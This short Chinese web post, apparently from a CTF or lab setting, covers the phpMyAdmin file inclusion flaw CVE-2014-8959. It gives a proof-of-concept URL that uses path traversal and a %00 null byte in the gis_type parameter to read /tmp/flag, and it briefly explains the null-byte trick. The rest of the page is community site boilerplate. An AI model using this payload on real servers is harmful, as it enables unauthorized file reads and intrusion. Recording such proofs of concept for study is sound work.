CVE-2014-8959 phpmyadmin 文件包含漏洞
·

POC
http://10.9.47.235:24667/pma/gis_data_editor.php?token=6748955c5c0965fda7126d40b660670c&gis_data[gis_type]=/../../../../../../../../../../../../../../../tmp/flag%00
%00是空字节,它可以用来绕过一些字符串处理函数和文件检查
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐


所有评论(0)